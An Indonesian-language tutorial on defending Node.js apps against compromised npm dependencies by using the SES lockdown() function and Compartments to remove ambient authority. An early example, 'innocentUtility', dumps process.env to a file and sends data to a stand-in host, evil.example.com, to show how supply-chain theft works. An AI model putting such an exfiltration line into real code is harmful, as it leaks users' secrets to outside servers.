Satu dependency transitif yang telah dikompromikan dapat mengeksfiltrasi process.env-mu, menulis ke sistem file-mu, dan membuka koneksi keluar. Ia tidak memerlukan kerentanan di kode-mu. Ia hanya perlu ada di dalam proses yang sama. Di JavaScript, setiap module secara default mewarisi seluruh otoritas runtime. Ini adalah ambient authority, dan menghilangkannya adalah salah satu peningkatan keamanan paling efektif yang bisa kamu lakukan pada aplikasi Node.js.
Seperti apa ambient authority di JavaScript
Ambient authority berarti hak akses tidak terikat pada apa yang diberikan kepadamu. Hak akses terikat pada tempat kamu menjalankan kode. Kode apa pun di dalam proses Node.js bisa mengakses fs, http, child_process, atau process.env tanpa meminta izin. Runtime membuat global-global ini tersedia untuk setiap module, terpercaya maupun tidak.
// This module has no business touching the filesystem.
// But it can. Because it is in the same process.
import fs from 'node:fs';
import https from 'node:https';
function innocentUtility(data) {
fs.writeFileSync('/tmp/stolen.json', JSON.stringify(process.env));
https.get('https://evil.example.com/exfil?data=' + encodeURIComponent(data));
return data.toUpperCase();
}
Fungsi innocentUtility diimpor untuk mengubah string menjadi huruf besar. Karena ia berjalan di dalam proses Node.js, ia juga memiliki kekuatan untuk membaca variabel lingkungan dan mengirim data ke luar. Tidak ada sandbox. Tidak ada model izin. Kode tersebut hanya menganggap memiliki kekuatan tersebut karena runtime meletakkannya dalam jangkauan.
Ini bukan hipotesis belaka. Serangan supply chain di npm secara rutin mengeksploitasi sifat persis ini. Dependency yang berbahaya atau telah dikompromikan tidak memerlukan zero-day. Ia hanya perlu di-require.
Lockdown: langkah pertama
SES shim (Secure ECMAScript), yang dikelola oleh Agoric, menyediakan fungsi lockdown() yang mengerasi lingkungan JavaScript. Ia membekukan setiap prototype bawaan, menghapus global berbahaya seperti eval dan konstruktor Function, serta mencegah prototype pollution. Setelah lockdown, kode-mu sendiri tidak bisa secara tidak sengaja atau dengan sengaja mengutak-atik Array.prototype atau Object.prototype.
import 'ses';
lockdown();
// This now throws. The Function constructor is gone.
const fn = new Function('return process.env');
// This also throws. Prototypes are frozen.
Array.prototype.evil = () => {};
Lockdown sangat kuat, tetapi tidak cukup dengan sendirinya. Ia mencegah pengutak-atikan lingkungan bersama, tetapi tidak menghapus ambient authority. Module yang telah di-lockdown masih bisa melakukan import fs from 'node:fs' dan membaca disk-mu. Lockdown mengamankan bahasa. Ia tidak mengamankan host.
Compartment: melucuti host
Sebuah Compartment adalah lingkungan eksekusi JavaScript yang baru dengan cakupan globalnya sendiri. Berbeda dengan konteks vm atau Web Worker, compartment berbagi event loop dan heap memori yang sama, tetapi ia dimulai dari nol. Tidak ada console, tidak ada fetch, tidak ada process. Kamu harus secara eksplisit memberinya setiap capability yang diizinkan untuk digunakannya.
import 'ses';
import { readFileSync } from 'node:fs';
lockdown();
const compartment = new Compartment({
// Only these globals exist inside the compartment.
console,
Math,
JSON,
});
// This code runs inside the compartment with no ambient authority.
const result = compartment.evaluate(`
// This throws: fetch is not defined.
// fetch('https://evil.example.com');
// This works: Math was endowed.
Math.sqrt(16)
`);
console.log(result); // 4
Compartment tidak bisa menyentuh sistem file, jaringan, atau process.env karena capability-capability tersebut tidak pernah diberikan kepadanya. Jika kode di dalam compartment telah dikompromikan, radius ledakannya dibatasi oleh apa yang kamu berikan.
Memuat module tidak terpercaya dengan aman
Pertahanan supply chain yang sesungguhnya berarti memuat kode pihak ketiga di dalam sebuah compartment dan memberinya hanya otoritas yang benar-benar dibutuhkannya. Berikut adalah pola yang bekerja dengan CommonJS atau bundle ESM.
import 'ses';
import { readFileSync } from 'node:fs';
lockdown();
// A constrained filesystem capability.
function createScopedReader(baseDir) {
return {
readFile(filename) {
const path = require('node:path').join(baseDir, filename);
// In production, validate the resolved path is inside baseDir.
return readFileSync(path, 'utf-8');
}
};
}
const untrustedCode = readFileSync('./vendor/some-plugin.js', 'utf-8');
const compartment = new Compartment({
console: {
log: (...args) => console.log('[plugin]', ...args)
},
fs: createScopedReader('./data/readonly/'),
});
// The plugin can only read files under ./data/readonly/
// and write to a prefixed console. Nothing else.
compartment.evaluate(untrustedCode);
Kode vendor berada di proses yang sama, tetapi ia beroperasi di dalam batas capability. Ia tidak bisa membuka socket. Ia tidak bisa membaca package.json dari repo-mu. Ia hanya bisa membaca file yang secara eksplisit kamu batasi dan menulis log melalui wrapper yang kamu sediakan.
Ini bukan pengerasan teoretis. Blockchain Agoric menggunakan model ini untuk platform smart contract-nya. Setiap smart contract dieksekusi di dalam compartment yang telah di-lockdown dengan capability yang diberikan secara eksplisit.
Trade-off yang akan kamu hadapi
Compartment tidak gratis. SES shim menambal prototype dan menulis ulang beberapa perilaku bawaan, yang menambah sedikit biaya inisialisasi. Yang lebih penting, banyak package npm mengasumsikan adanya ambient authority. Mereka mengakses process, Buffer, atau setImmediate tanpa mengimpornya. Ketika global-global tersebut hilang, kode tersebut crash.
Kamu punya tiga pilihan. Pertama, polyfill global yang hilang di dalam compartment dengan implementasi yang aman. Kedua, memberikan global yang asli dan menerima risikonya. Ketiga, mengaudit dependency dan memperbaiki asumsinya.
Sebagian besar waktu, dependency hanya membutuhkan Buffer atau setTimeout. Itu aman untuk diberikan. Yang berbahaya adalah fs, net, child_process, dan process.env. Itu tidak boleh masuk ke compartment kecuali kode di dalamnya benar-benar membutuhkannya, dan bahkan then kamu harus membungkusnya.
Debugging juga menjadi lebih sulit. Stack trace dari dalam compartment mengarah ke string yang dievaluasi atau sumber yang divisualisasikan. Dukungan source map Node.js modern membantu, tetapi kamu akan menghabiskan waktu memetakan nomor baris ketika ada yang salah.
Di mana ini gagal
Addon native dan module WASM melewati runtime JavaScript sepenuhnya. File .node yang dimuat dengan require berjalan di luar compartment SES dan mempertahankan ambient authority penuh. Jika kamu perlu membatasi kode native, compartment bukanlah jawabannya. Kamu memerlukan isolasi sistem operasi: seccomp, Landlock, atau proses terpisah.
Compartment juga berbagi heap dan event loop yang sama. Compartment masih bisa mematikan CPU dengan loop tak terbatas atau mengalokasikan memori hingga proses crash. SES menyediakan meter compute untuk membatasi eksekusi, tetapi compartment default tidak memberlakukan batasan sumber daya. Ia adalah batasan keamanan, bukan batasan sumber daya.
Titik awal yang praktis
Kamu tidak perlu menulis ulang seluruh aplikasi. Mulailah dengan dependency berisiko tertinggi: apa pun yang menguraikan masukan tidak terpercaya, apa pun yang dimuat secara dinamis, dan apa pun dari publisher yang tidak kamu kenal.
import 'ses';
lockdown();
function runUntrusted(pluginCode, userData) {
const compartment = new Compartment({
JSON,
Array,
Object,
// No fetch, no fs, no process.
});
// The plugin receives data and returns a result.
// It cannot phone home. It cannot read files.
return compartment.evaluate(`
(${pluginCode})(${JSON.stringify(userData)})
`);
}
Bungkus sistem plugin-mu, mesin template-mu, atau skrip yang disediakan pengguna. Berikan masing-masing satu compartment dengan otoritas minimum yang dibutuhkannya untuk menyelesaikan tugasnya. Jika dependency tidak berfungsi di dalam compartment, itu adalah sebuah sinyal. Ia ditulis dengan asumsi bahwa ia memiliki seluruh proses. Asumsi persis itulah yang ingin kamu hilangkan.
FAQ
Apa bedanya Compartment dengan module vm di Node?
vm membuat konteks baru dengan objek global yang segar, tetapi masih memiliki akses ke API Node.js lengkap kecuali kamu menghapusnya secara eksplisit. Compartment dimulai dari kosong dan memerlukan endowment eksplisit. Compartment juga terintegrasi dengan lockdown SES untuk mencegah pengutak-atikan prototype di seluruh runtime.
Apakah ini berfungsi dengan TypeScript atau bundler?
Ya. Compartment mengevaluasi JavaScript, jadi kamu mengompilasi TypeScript terlebih dahulu. Bundler seperti Rollup atau esbuild bisa menggabungkan dependency menjadi satu file, yang kemudian kamu muat ke dalam compartment. Bundler menghapus impor dinamis, yang justru memudahkan sandboxing dengan compartment.
Bisakah saya mencabut capability setelah memberikannya?
Tidak secara langsung. Capability yang diberikan ke compartment adalah referensi ke objek JavaScript. Jika kamu membutuhkan pencabutan, bungkus capability dalam proxy atau wrapper ber-token yang memeriksa flag pada setiap akses. Ini adalah masalah pencabutan yang sama dihadapi oleh semua sistem capability.
Apakah SES siap untuk produksi?
SES telah berjalan di produksi di blockchain Agoric sejak 2021. Package ses di npm dikelola secara aktif. Ia melewati proses proposal TC39 untuk standardisasi JavaScript, meskipun belum menjadi bagian dari spesifikasi bahasa.
Apakah ini menggantikan containerisasi?
Tidak. Compartment adalah batasan keamanan tingkat proses. Container adalah batasan sistem operasi. Gunakan compartment untuk membatasi apa yang bisa dilakukan kode di dalam proses-mu. Gunakan container untuk membatasi apa yang bisa dilakukan proses itu sendiri. Keduanya saling melengkapi.
Ambient authority adalah default di JavaScript karena ia nyaman. Kenyamanan dan keamanan tidaklah sama. Lockdown dan compartment memungkinkan kamu menghilangkan kekuatan ambient yang diwarisi setiap module secara default dan menggantinya dengan capability yang eksplisit, terbatas, dan dapat diaudit. Mulailah dengan satu dependency tidak terpercaya. Masukkan ke dalam compartment. Ambil fs dan fetch-nya. Lihat apa yang sebenarnya rusak. Sebagian besar waktu, yang rusak adalah asumsi yang tidak pernah menjadi hak dependency-mu untuk membuatnya.